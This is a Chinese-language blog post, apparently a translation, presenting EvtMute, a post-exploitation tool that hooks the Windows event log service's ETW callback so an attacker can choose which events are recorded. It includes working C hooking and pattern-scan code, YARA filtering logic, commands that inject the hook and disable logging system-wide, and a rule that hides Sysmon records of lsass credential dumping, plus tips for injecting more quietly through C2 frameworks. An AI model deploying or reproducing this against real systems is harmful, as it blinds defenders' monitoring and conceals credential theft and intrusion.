Windows事件日志加上Windows事件转发和Sysmon工具是非常强大的防御手段,他们可以检测、记录到攻击者的每一步攻击过程。显然,这对攻击者来说是个问题。在攻击者完成提权操作之前,他们逃避事件日志的方法是有限的,但是一旦完成提权,就成了一个平等的竞技场。
我以前发布过一个通过加载恶意的内核驱动程序和Hook住NtTraceEvent系统调用来躲避日志记录的方法。这种方法是有效的,但有两个小问题。主要的问题是加载内核驱动程序和修补系统调用相关的风险,因为这个操作有可能导致机器蓝屏死机,这显然是一件非常糟糕的事情。另一个问题是,它将简单地停止报告所有事件,因此当钩子处于活动状态时,该机器将不再向SOC或SIEM发送任何事件。防御者很有可能会注意到事件的突然缺失。那么,是否有一种方法只过滤掉由攻击者引起的事件,同时也保留住正常的事件日志呢?答案是:有的。
几年前hlldz发布了Windows日志清除器Invoke-Phant0m工具。它会找到事件日志进程,然后杀死从wevtsvc.dll运行的所有线程。wevtsvc.dll是事件日志服务,通过终止与之关联的线程将禁用日志记录。它工作得很好,但是仍然存在相同的问题:它将停止报告所有事件。为了解决这个问题,我想制作一个类似于Invoke-Phant0m的工具,这个工具可以允许攻击者先对事件报告进行过滤,这样他们就只能阻止与恶意行为相关的事件被记录。
对Windows事件日志记录的逆向分析
打开wevtsvc.dll进行分析后,我注意到它将打开一个OpenTraceW函数跟踪会话。
OpenTraceW把EVENT_TRACE_LOGFILEW结构作为自己的参数。这个结构的值是EventRecordCallback,它指向一个回调函数。
使用windbg工具进行更深入的分析后我发现这个回调函数是wevtsvc!EtwEventCallback
查看回调函数的反汇编代码,它看起来不像一个函数,而只是一个调用EventCallback的程序集。
在wevtsvc!EtwEventCallback上设置断点,让我们更深入地了解这个回调是如何工作的。它将在EVENT_RECORD结构中接收事件,如下所示:
typedef struct _EVENT_RECORD {
EVENT_HEADER EventHeader;
ETW_BUFFER_CONTEXT BufferContext;
USHORT ExtendedDataCount;
USHORT UserDataLength;
PEVENT_HEADER_EXTENDED_DATA_ITEM ExtendedData;
PVOID UserData;
PVOID UserContext;
} EVENT_RECORD, *PEVENT_RECORD;
EVENT_HEADER结构将包含更多关于事件的信息,包括报告事件的提供者。通过windbg的一个功能,我们能够获取这个提交者的GUID。
现在我们有了提交者的GUID,我们可以使用logman.exe程序来查找它,可以看到提交者是Microsoft-Windows-Sysmon。
我们可以修改这个函数,在这里加一个ret指令。这个操作会阻止所有事件报告的产生。
在下图您可以看到,我在7:01清除了事件日志,然后在7:04添加了一个新用户,但是这个事件没有被报告,因为我们的ret在回调中导致了系统范围内的所有事件都不会被报告。
利用钩子进行下一步操作
现在我们有了一个在windbg中正常工作的PoC,是时候开始编写代码了。我将跳过注入这个步骤,因为有很多很好的教程。直接来看下我们的DLL是如何工作的。
我们需要做的第一件事是找到wevtsvc!EtwEventCallback的偏移量,这样我们就知道把钩子放在哪里。第一步是定位wevtsvc.dll的基地址,下面的代码将完成这个任务并将其存储在dwBase变量中。
DWORD_PTR dwBase;
DWORD i, dwSizeNeeded;
HMODULE hModules[102400];
TCHAR szModule[MAX_PATH];
if (EnumProcessModules(GetCurrentProcess(), hModules, sizeof(hModules), &dwSizeNeeded))
{
for (int i = 0; i < (dwSizeNeeded / sizeof(HMODULE)); i++)
{
ZeroMemory((PVOID)szModule, MAX_PATH);
if (GetModuleBaseNameA(GetCurrentProcess(), hModules[i], (LPSTR)szModule, sizeof(szModule) / sizeof(TCHAR)))
{
if (!strcmp("wevtsvc.dll", (const char*)szModule))
{
dwBase = (DWORD_PTR)hModules[i];
}
}
}
}
因为我们不知道EtwEventCallback的确切位置,需要在内存中搜索它。但是我们知道它在wevtsvc.dll的地址空间中,这就是为什么我们必须首先找到它的基址。
我们可以使用windbg中的反汇编来查看回调开始时的字节。然后我们可以扫描内存,直到找到这些字节。这样我们就知道把钩子放在哪里了。
下面这段代码将搜索从wevtsvc.dll基址开始的的0xfffff字节,以找到4883ec384c8b0d
#define PATTERN "\x48\x83\xec\x38\x4c\x8b\x0d"
DWORD i;
LPVOID lpCallbackOffset;
for (i = 0; i < 0xfffff; i++)
{
if (!memcmp((PVOID)(dwBase + i), (unsigned char*)PATTERN, strlen(PATTERN)))
{
lpCallbackOffset = (LPVOID)(dwBase + i);
}
}
一旦我们有了偏移量,我们将通过调用memcpy对其中的字节进行复制。
memcpy(OriginalBytes, lpCallbackOffset, 50);
然后用一个钩子将所有对EtwEventCallback的调用重定向到EtwCallbackHook。
VOID HookEtwCallback()
{
DWORD oldProtect, oldOldProtect;
unsigned char boing[] = { 0x49, 0xbb, 0xde, 0xad, 0xc0, 0xde, 0xde, 0xad, 0xc0, 0xde, 0x41, 0xff, 0xe3 };
*(void **)(boing + 2) = &EtwCallbackHook;
VirtualProtect(lpCallbackOffset, 13, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(lpCallbackOffset, boing, sizeof(boing));
VirtualProtect(lpCallbackOffset, 13, oldProtect, &oldOldProtect);
return;
}
在这里钩住回调是很好的,但是我们仍然需要它能够报告我们不想阻止的事件。这意味着我们还必须恢复并运行回调,以便它报告事件。在它报告事件之后重新钩住它,以便我们可以捕捉下一个事件。
使用typedef可以非常直接地做到这一点。
typedef VOID(WINAPI * EtwEventCallback_) (EVENT_RECORD *EventRecord);
VOID DoOriginalEtwCallback( EVENT_RECORD *EventRecord )
{
DWORD dwOldProtect;
VirtualProtect(lpCallbackOffset, sizeof(OriginalBytes), PAGE_EXECUTE_READWRITE, &dwOldProtect);
memcpy(lpCallbackOffset, OriginalBytes, sizeof(OriginalBytes));
VirtualProtect(lpCallbackOffset, sizeof(OriginalBytes), dwOldProtect, &dwOldProtect);
EtwEventCallback_ EtwEventCallback = (EtwEventCallback_)lpCallbackOffset;
EtwEventCallback(EventRecord);
HookEtwCallback();
}
在完成所有这些操作之后,我们现在能够找到ETW回调函数的偏移量,将其挂钩到我们自己的函数并解析数据。然后解除回调并报告事件。
下面您可以在windbg窗口中看到解析后的事件。
用YARA进行模式匹配
现在我们知道了事件报告的格式,可以开始实现日志过滤器了。我决定使用YARA规则有两个原因,第一个是我认为使用一个流行的防守工具进行进攻十分具有讽刺性。第二个原因是,它实际上非常适合在这个场景使用,因为它有一个非常好的文档化的C API,并且可以在内存中完成全部工作。
同样值得指出的是,我定义了如下宏以保持代码风格的一致性
下面的代码展示了如何写出可在YRRulesScanMem中使用的yara规则。
#define RULE_ALLOW_ALL "rule Allow { condition: false }"
YRInitalize();
RtlCopyMemory(cRule, RULE_ALLOW_ALL, strlen(RULE_ALLOW_ALL));
if (YRCompilerCreate(&yrCompiler) != ERROR_SUCCESS)
{
return -1;
}
if (YRCompilerAddString(yrCompiler, cRule, NULL) != ERROR_SUCCESS)
{
return -1;
}
YRCompilerGetRules(yrCompiler, &yrRules);
YARA规则写好后,我们就可以开始扫描内存了。下面我们会扫描包含格式化事件内容的StringBuffer变量,并将结果传递给yara回调函数ToReportOrNotToReportThatIsTheQuestion。该函数将根据规则是否匹配而将dwReport变量设置为0或1。如果PIPE_NAME变量出现在事件中,还需要对其进行检查。原因是EvtMuteHook.dll将使用一个命名管道来动态更新当前规则,这将会生成事件日志,所以这个检查将确保这些事件日志不会被报告。
INT ToReportOrNotToReportThatIsTheQuestion( YR_SCAN_CONTEXT* Context,
INT Message,
PVOID pMessageData,
PVOID pUserData
)
{
if (Message == CALLBACK_MSG_RULE_MATCHING)
{
(*(int*)pUserData) = 1;
}
if (Message == CALLBACK_MSG_RULE_NOT_MATCHING)
{
(*(int*)pUserData) = 0;
}
return CALLBACK_CONTINUE;
}
YRRulesScanMem(yrRules, (uint8_t*)StringBuffer, strlen(StringBuffer), 0, ToReportOrNotToReportThatIsTheQuestion, &dwReport, 0);
if (dwReport == 0)
{
if (strstr(StringBuffer, PIPE_NAME) == NULL)
{
DoOriginalEtwCallback(EventRecord);
}
}
日志去哪了?
您可以从https://github.com/bats3c/EvtMute/releases/tag/v1.0
获取最新版本的EvtMute。EvtMuteHook.dll包含这个日志过滤工具的核心功能,一旦它被注入,它将作为一个临时过滤器,它在最初会允许所有的事件日志的上报,不过这个过滤器可以根据使用者的需要动态更新,而不需要重新注入。
我已经打包了一个c#程序集SharpEvtMute.exe,它可以在shad0w或cobalt strike中使用。我还将用C语言编写出一个版本,以让它能够更隐蔽的运行。
禁用日志记录
一个简单的例子是在系统范围内禁用事件日志记录。为此,我们可以使用以下yara规则。
rule disable { condition: true }
我们首先需要将钩子注入到事件服务中。
.\SharpEvtMute.exe --Inject
现在钩子已经放置好了,我们可以添加过滤器了。
.\SharpEvtMute.exe --Filter "rule disable { condition: true }"
现在,所有的事件都不会被记录。
更加复杂的过滤
过滤器可以动态地改变参数,而不需要重新注入。
下面显示了一个更复杂的过滤器示例。它能够阻止sysmon报告lsass内存转储相关的事件。
rule block_lsass_dump {
meta:
author = "@_batsec_"
description = "Prevent lsass dumping being reported by sysmon"
strings:
$provider = "Microsoft-Windows-Sysmon"
$image = "lsass.exe" nocase
$access = "GrantedAccess"
$type = "0x1fffff"
condition:
all of them
}
对于这样一个复杂的规则,要将其压缩成一行就困难得多了。这就是为什么我添加了base64编码转换功能。
该功能可以很容易地从linux命令行转换为base64。
base64 -w 0 YaraFilters/lsassdump.yar | echo $(</dev/stdin)
然后使用“—Encoded”,我们就可以更新过滤器的过滤规则。
注意事项
当注入钩子时,SharpEvtMute.exe会调用CreateRemoteThread,这个调用是在钩子被放置之前进行的,所以它会被Sysmon报告。这是因为SharpEvtMute.exe的注入特性只能作为PoC来使用。如果不想被记录,我建议手动将EvtMuteHook.dll注入到事件日志记录服务中。
PID可以通过运行”SharpEvtMute.exe —Pid”找到。钩子可以通过你选择的C2框架手动注入shellcode(在EvtMuteBin中运行make)来放置,例如shad0w中的shinject。
还值得一提的是,钩子将使用一个命名管道来更新过滤器。命名管道称为EvtMuteHook_Rule_Pipe(这个命名很容易被更改)。我们在钩子中嵌入了一条规则,以确保包括此名称在内的任何事件都会被自动删除,但IOC仍然在监听它,因此我建议更改它的运行方式。